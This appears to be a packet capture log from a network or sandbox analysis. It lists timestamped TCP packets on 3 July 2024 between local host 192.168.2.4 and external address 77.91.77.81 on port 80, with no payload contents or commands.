Jul 3, 2024 23:59:26.541290045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541306019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541323900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541336060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541357994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541367054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541408062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541440010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541471958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541490078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541505098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541518927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541538000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541589975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541589975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541640997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541675091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541693926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541706085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541714907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541738987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541770935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541790009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541804075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541821957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541837931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541851044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541883945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541919947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541951895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.541973114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.541985989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542000055 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542013884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542040110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542062044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542107105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542138100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542156935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542171001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542184114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542203903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542237043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542251110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542269945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542289019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542303085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542321920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542350054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542382002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542413950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542447090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542469978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542494059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542526960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542536974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542560101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542570114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542612076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542644978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542665958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542694092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542695045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542726994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542761087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542784929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542793036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542808056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542845011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542876959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542895079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542911053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542933941 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542947054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.542967081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.542982101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543015957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543034077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543075085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543107986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543124914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543142080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543159962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543175936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543200016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543224096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543225050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543277025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543277979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543308973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543329000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543342113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543359995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543374062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543395042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543406963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543422937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543441057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543457031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543473959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543508053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.543529034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.543555021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.582496881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.582530975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.582562923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.582581997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.582655907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.582689047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.582720995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.582750082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.582750082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.582750082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.582753897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.582766056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.582786083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.582797050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.582827091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.605604887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.605658054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.605690956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.605761051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.605779886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.605779886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.605792999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.605807066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.605825901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.605838060 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.605860949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.605894089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.605911970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.639501095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.639549971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.639566898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.639581919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.639599085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.639615059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.639632940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.639813900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640286922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640338898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640350103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640388012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640402079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640422106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640433073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640455008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640470028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640500069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640526056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640574932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640575886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640609980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640630960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640640974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640656948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640686989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640691042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640719891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640739918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640753031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640773058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640785933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640805960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640830994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640835047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640867949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640880108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640897036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640916109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640929937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.640940905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640974998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.640981913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641014099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641031027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641047001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641062975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641079903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641093969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641113997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641124010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641149044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641156912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641180992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641208887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641215086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641228914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641249895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641259909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641295910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641319990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641351938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641375065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641386032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641393900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641418934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641437054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641452074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641470909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641484022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641496897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641529083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641535044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641567945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641587019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641601086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641611099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641634941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641649961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641669035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641681910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641700983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641721964 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641732931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641746044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641767979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641810894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641906977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641940117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641961098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.641972065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.641987085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642000914 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642019033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642038107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642051935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642085075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642102003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642116070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642123938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642149925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642162085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642182112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642196894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642215967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642229080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642247915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642260075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642282009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642292976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642314911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642328978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642348051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642364979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642381907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642398119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642448902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642473936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642507076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642525911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642539024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642549992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642571926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642585039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642621040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642621040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642653942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642671108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642688990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642703056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642740965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642781019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642813921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642832041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642847061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642859936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642879009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642894030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642913103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642923117 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642946959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642962933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.642978907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.642996073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643012047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643029928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643044949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643063068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643078089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643109083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643125057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643142939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643155098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643177032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643229008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643368006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643399954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643419981 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643431902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643445015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643465042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643481016 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643496990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643503904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643529892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643543005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643563032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643574953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643595934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643605947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643629074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643657923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643661022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643676043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643697023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.643704891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.643739939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.678538084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.678592920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.678596973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.678646088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.678656101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.678689957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.678706884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.678721905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.678736925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.678755999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.678781986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.678788900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.678822041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.678848028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.678885937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.678920984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.678953886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.678956985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.678956985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.678980112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.678987980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.679008007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.679020882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.679054022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.679068089 CEST	49744	80	192.168.2.4	77.91.77.81
